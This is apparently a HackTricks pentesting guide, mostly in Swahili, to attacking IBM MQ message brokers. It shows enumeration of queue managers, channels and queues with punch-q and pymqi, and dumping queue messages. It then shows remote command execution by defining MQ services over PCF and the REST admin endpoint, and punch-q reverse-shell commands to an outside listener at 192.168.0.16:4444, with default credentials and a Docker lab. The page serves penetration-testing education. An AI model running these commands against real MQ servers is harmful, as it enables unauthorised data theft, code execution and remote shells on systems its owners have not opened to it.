1414 - Pentesting IBM MQ

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

IBM MQ ni teknolojia ya IBM ya kusimamia message queues. Kama teknolojia nyingine za message broker, imejitolea kupokea, kuhifadhi, kuchakata na kuainisha taarifa kati ya wazalishaji na watumiaji.

Kwa chaguo-msingi, inafungua IBM MQ TCP port 1414. Wakati mwingine, HTTP REST API inaweza kufunguliwa kwenye port 9443. Metrics (Prometheus) pia yanaweza kupatikana kupitia TCP port 9157.

IBM MQ TCP port 1414 inaweza kutumika kubadili messages, queues, channels, … lakini pia kudhibiti instance.

IBM inatoa nyaraka nyingi za kiufundi zinazopatikana kwenye https://www.ibm.com/docs/en/ibm-mq.

Zana

Zana inayopendekezwa kwa ajili ya exploitation rahisi ni punch-q, kwa matumizi na Docker. Zana hiyo inatumia kwa shughuli maktaba ya Python pymqi.

Kwa njia ya mkono zaidi, tumia maktaba ya Python pymqi. IBM MQ dependencies zinahitajika.

Kusakinisha pymqi

IBM MQ dependencies zinahitaji kusakinishwa na kupakiwa:

  1. Unda akaunti (IBMid) kwenye https://login.ibm.com/.
  2. Pakua maktaba za IBM MQ kutoka https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Kwa Linux x86_64 ni 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Decompress (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Endesha sudo ./mqlicense.sh kukubali masharti ya leseni.

Ikiwa uko chini ya Kali Linux, badilisha faili mqlicense.sh: ondoa/comment mistari ifuatayo (kati ya mistari 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Sakinisha vifurushi hivi:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Kisha, kwa muda ongeza faili za .so kwenye LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, kabla ya kuendesha zana nyingine zinazotumia tegemezi hizi.

Baada ya hapo, unaweza kunakili mradi pymqi: una vipande vya msimbo vinavyovutia, konstanti, … Au unaweza kusakinisha maktaba moja kwa moja kwa: pip install pymqi.

Kutumia punch-q

Kwa kutumia Docker

Tumia tu: sudo docker run --rm -ti leonjza/punch-q.

Bila Docker

Nakili mradi punch-q kisha fuata README kwa ajili ya usakinishaji (pip install -r requirements.txt && python3 setup.py install).

Baada ya hapo, inaweza kutumika kwa amri punch-q.

Uorodheshaji

Unaweza kujaribu kuorodhesha jina la Queue Manager, watumiaji, chaneli na foleni kwa kutumia punch-q au pymqi.

Ikiwa TCP/1414 imewekwa filter au lengo linaonyesha tu server ya wavuti iliyojengwa ndani, angalia pia TCP/9443. Toleo za hivi karibuni za IBM MQ zinaonyesha IBM MQ Console / REST API huko kwa default wakati mqweb imewezeshwa, na endpoint ya utawala ya REST inaweza kutekeleza amri za MQSC kwa hiari ikiwa una vitambulisho sahihi.

Queue Manager

Wakati mwingine, hakuna kinga dhidi ya kupata jina la Queue Manager:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q inatumia internal (modifiable) wordlist kutafuta channels zilizopo. Mfano wa matumizi:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Wakati mwingine baadhi ya instances za IBM MQ zinakubali maombi ya MQ unauthenticated, hivyo --username / --password haitahitajika. Bila shaka, ruhusa za ufikiaji pia zinaweza kutofautiana.

Mara tu tunapopata jina la channel moja (hapa: DEV.ADMIN.SVRCONN), tunaweza kuorodhesha channels zote nyingine.

Uorodheshaji unaweza kufanywa kwa kutumia snippet ya code hii code/examples/dis_channels.py kutoka kwa pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… Lakini punch-q pia imejumuisha sehemu hiyo (na taarifa zaidi!). Inaweza kuanzishwa kwa:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

Kesi nyingi za “it connects but returns 2035” husababishwa na sheria za CHLAUTH au ukosefu wa ruhusa za OAM kwenye vitu lengwa.

Ikiwa tayari una upatikanaji wa kiutawala wa MQSC, MATCH(RUNCHECK) ni njia ya haraka kuelewa ni sheria gani itakayotekelezwa kwa muunganisho wa mbali:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

Kupitia REST admin endpoint kwenye 9443, ukaguzi huo huo unaweza kufanywa kwa mbali:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Ikiwa una haki za kutosha kutumia PCF kwa mbali, IBM inatoa MQCMD_INQUIRE_CHLAUTH_RECS, ambayo inarudisha rekodi za uthibitishaji za channel na ramani zao kwa MCAUSER. Hiyo inasaidia kuthibitisha kama channel inawaweka watumiaji wa mbali kwenye akaunti ya ndani yenye ruhusa zaidi kabla ya kujaribu upatikanaji wa ujumbe, uundaji wa vitu, au matumizi mabaya ya huduma.

Foleni

Kuna kipande cha msimbo na pymqi (dis_queues.py) lakini punch-q inaruhusu kupata taarifa zaidi kuhusu foleni:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Unaweza kulenga queue(s)/channel(s) ili sniff out / dump messages kutoka kwao (operesheni isiyoharibifu). Examples:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Usisite kurudia juu ya queues zote zilizotambuliwa.

Code execution

Baadhi ya maelezo kabla ya kuendelea: IBM MQ inaweza kudhibitiwa kwa njia nyingi: MQSC, PCF, Control Command. Baadhi ya orodha za jumla zinaweza kupatikana katika IBM MQ documentation. PCF (Programmable Command Formats) ndiyo tunayolenga kutumia kuwasiliana kwa mbali na instance. punch-q na zaidi pymqi zinategemea mwingiliano wa PCF.

Unaweza kupata orodha ya amri za PCF:

Amri moja ya kuvutia ni MQCMD_CREATE_SERVICE na nyaraka yake inapatikana here. Inachukua kama hoja StartCommand inayofanya kielekezo kwa programu ya ndani kwenye instance (mfano: /bin/sh).

Kuna pia onyo kuhusu amri hii katika nyaraka: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”

Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at /admin/action/qmgr/{qmgrName}/mqsc to run the equivalent MQSC command for service creation (DEFINE SERVICE). This aspect is not covered yet here.

If MQ Console / REST API credentials are available, you can often reach the same administrative primitives over HTTPS on 9443 without using the MQ client libraries. IBM documents /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as an endpoint that accepts plain-text MQSC or JSON commands.

The service creation / deletion with PCF for remote program execution can be done by punch-q:

Example 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

Katika logs za IBM MQ, unaweza kusoma command imefanyika kwa mafanikio:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Unaweza pia kuorodhesha programu zilizopo kwenye mashine (hapa /bin/doesnotexist … haipo):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Kumbuka kwamba uzinduzi wa programu ni asynchronous. Kwa hivyo unahitaji kipengee cha pili ili kutumia exploit (listener for reverse shell, kuunda faili kwenye huduma tofauti, data exfiltration kupitia network …)

Mbinu ile ile inaweza kutekelezwa kupitia REST API:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Hii ni hasa muhimu wakati wa tathmini ambapo:

  • 9443 inapatikana lakini 1414 imezuiwa kwa anuwai ndogo ya vyanzo
  • Timu ya lengo inasimamia IBM MQ hasa kupitia web console na imesahau kuimarisha REST roles
  • Unataka kuepuka kusakinisha IBM MQ client libraries kwenye mashine ya ndani na unahitaji tu usimamizi wa ngazi ya MQSC

Mfano 2

Kwa reverse shell rahisi, punch-q pia inapendekeza payloads mbili za reverse shell :

  • Moja kwa kutumia bash
  • Moja kwa kutumia perl

Bila shaka unaweza kujenga moja ya kawaida kwa kutumia amri ya execute.

Kwa bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Kwa perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

PCF Maalum

Unaweza kuchunguza nyaraka za IBM MQ na kutumia moja kwa moja maktaba ya python pymqi kujaribu amri maalum za PCF ambazo hazijatekelezwa katika punch-q.

Mfano:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Ikiwa huwezi kupata majina ya konstanti, unaweza kurejea kwenye IBM MQ documentation.

_Mfano kwa MQCMD_REFRESH_CLUSTER (Decimal = 73). Inahitaji parameter MQCA_CLUSTER_NAME (Decimal = 2029) ambayo inaweza kuwa _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Mazingira ya majaribio

Ikiwa unataka kujaribu tabia za IBM MQ na exploits, unaweza kuanzisha mazingira ya ndani yanayotumia Docker:

  1. Kuwa na akaunti kwenye ibm.com na cloud.ibm.com.
  2. Unda IBM MQ katika container kwa kutumia:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Hapa, jina la queue manager limewekwa kuwa MYQUEUEMGR (kigezo MQ_QMGR_NAME).

Miundo za developer za hivi karibuni 9.4.x zimebadilisha tabia ya chaguo-msingi:

  • admin na app zinaundwa tu ikiwa utaweka nywila zao
  • IBM inaonyesha MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD kama deprecated tangu 9.4.0.0
  • Njia inayopendekezwa ni kuingiza secrets zinazojulikana kama mqAdminPassword na mqAppPassword

Kwa maabara ya haraka ya eneo-kari kwa Podman, unaweza kuunda watumiaji wote wawili hivi:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

Kwa usanidi wa msanidi wa chaguo-msingi:

  • DEV.ADMIN.SVRCONN huruhusu tu mtumiaji admin
  • DEV.APP.SVRCONN ni mfereji wa programu na mtumiaji app ndiye utambulisho unaotarajiwa
  • https://<target>:9443/ibmmq/console huweka wazi konsoli ya wavuti wakati seva ya wavuti iliyojengwa imewezeshwa

Unapaswa kuwa na IBM MQ ikifanya kazi na bandari zake zikiwa wazi:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Toleo la zamani la IBM MQ docker images lipo kwenye: https://hub.docker.com/r/ibmcom/mq/.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks